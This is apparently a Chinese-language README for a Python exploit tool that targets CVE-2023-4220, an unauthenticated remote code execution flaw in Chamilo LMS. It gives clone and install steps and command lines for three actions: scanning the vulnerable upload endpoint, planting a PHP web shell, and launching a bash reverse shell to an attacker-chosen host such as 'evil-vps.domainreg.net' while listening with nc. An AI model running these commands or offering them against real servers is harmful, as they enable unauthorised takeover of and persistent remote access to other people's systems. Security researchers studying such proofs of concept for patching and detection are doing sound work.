这是一个用 Python 编写的脚本,用于利用 CVE-2023-4220 中描述的 Chamilo LMS 软件安全漏洞。该系统在 1.11.24 之前的版本中存在此漏洞。
将仓库克隆到你的机器上,并使用 pip 安装依赖项(建议使用 virtualenv 创建独立环境,以便将这些安装与全局安装分开):
git clone https://github.com/charchit-subedi/chamilo-lms-unauthenticated-rce-poc
cd chamilo-lms-unauthenticated-rce-poc
pip install -r requirements.txt
脚本需要提供包含 Chamilo 根路径的目标 URL(例如 http://example.com/chamilo、http://example.com 或 http://chamilo.example.com**),以及要执行的操作(共有三种可用操作:**scan、webshell 和 revshell)。
此操作将通过尝试访问 /main/inc/lib/javascript/bigupload/files/ 端点来检查目标是否存在漏洞。
python3 main.py -u http://example.com/chamilo -a scan
此操作将在存在漏洞的端点中创建一个 PHP webshell 文件。
python3 main.py -u http://example.com/chamilo -a webshell
此操作将创建并执行一个 bash 反向 shell 文件。为此,将首先使用与上一操作相同的方法创建一个 webshell。之后,将执行一些命令来创建并执行 bash 文件。请确保你正在使用 nc 或任何其他工具监听你所定义的端口,以便真正收到反向连接。此外,主机可以是有效的内部/公共 IPv4 地址(如 172.17.1.4 或 186.227.4.31),也可以是你已注册的域名(如 evil-vps.domainreg.net)。
python3 main.py -u http://example.com/chamilo -a revshell